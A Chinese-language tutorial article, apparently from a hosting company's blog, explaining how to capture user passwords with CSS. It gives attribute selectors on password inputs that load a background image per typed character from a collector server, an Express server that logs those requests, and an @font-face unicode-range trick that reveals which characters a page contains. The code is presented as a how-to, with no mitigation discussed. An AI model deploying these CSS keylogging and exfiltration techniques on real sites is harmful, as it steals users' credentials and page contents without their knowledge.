溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

怎么使用CSS記錄用戶密碼

發(fā)布時(shí)間:2023-01-03 10:39:25 來源:億速云 閱讀:137 作者:iii 欄目:開發(fā)技術(shù)

這篇文章主要介紹“怎么使用CSS記錄用戶密碼”的相關(guān)知識(shí),小編通過實(shí)際案例向大家展示操作過程,操作方法簡(jiǎn)單快捷,實(shí)用性強(qiáng),希望這篇“怎么使用CSS記錄用戶密碼”文章能幫助大家解決問題。

直接上代碼解析:

input[type="password"][value$="0"] { 
    background-image: url("http://localhost:3000/0"); 
}
input[type="password"][value$="1"] { 
    background-image: url("http://localhost:3000/1"); 
}
input[type="password"][value$="2"] { 
    background-image: url("http://localhost:3000/2"); 
}

以上是部分代碼,我們來解析一下CSS代碼

input[type="password"]是css選擇器,作用是選擇密碼輸入框, [value$="0"]表示匹配輸入的值是以0結(jié)尾的。所以:

input[type="password"][value$="0"] { 
    background-image: url("http://localhost:3000/0"); 
}

上面代碼的意思就是如果你在密碼框中輸入0,就去請(qǐng)求http://localhost:3000/0接口,但是瀏覽器默認(rèn)情況下是不會(huì)將用戶輸入的值存儲(chǔ)在value屬性中,但是有的框架會(huì)同步這些值,例如React。

我們?cè)賮砜匆幌?a title="服務(wù)器" target="_blank" href="http://www.kemok4.com/">服務(wù)器端的代碼:

const express = require("express");
const app = express();

app.get("/:key", (req, res) => {
   process.stdout.write(req.params.key);
   return res.sendStatus(400);
});

app.listen(3000, () => console.log("啟動(dòng),監(jiān)聽3000端口"));

使用express創(chuàng)建服務(wù)器,監(jiān)聽3000端口,只要請(qǐng)求http://localhost:3000/:key,就能輸出key的值,就能在服務(wù)器上記錄輸入的值。所以只要在每輸入一個(gè)值都匹配,然后通過 background-image 去請(qǐng)求一個(gè)已經(jīng)準(zhǔn)備好的接口,就能記錄用戶的輸入。類似的方法記錄用戶的內(nèi)容的CSS代碼@font-face {  

   font-family: blah;  
   src: url('http://localhost:3000/a') format('woff');  
   unicode-range: U+85;
}
html {  
   font-family: blah, sans-serif;
}

你使用的的css的簡(jiǎn)單的字體庫,只要你的頁面中包含a,就會(huì)去請(qǐng)求http://localhost:3000/a,這樣就能知道你的頁面中包含有a字符。

關(guān)于“怎么使用CSS記錄用戶密碼”的內(nèi)容就介紹到這里了,感謝大家的閱讀。如果想了解更多行業(yè)相關(guān)的知識(shí),可以關(guān)注億速云行業(yè)資訊頻道,小編每天都會(huì)為大家更新不同的知識(shí)點(diǎn)。

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

css
AI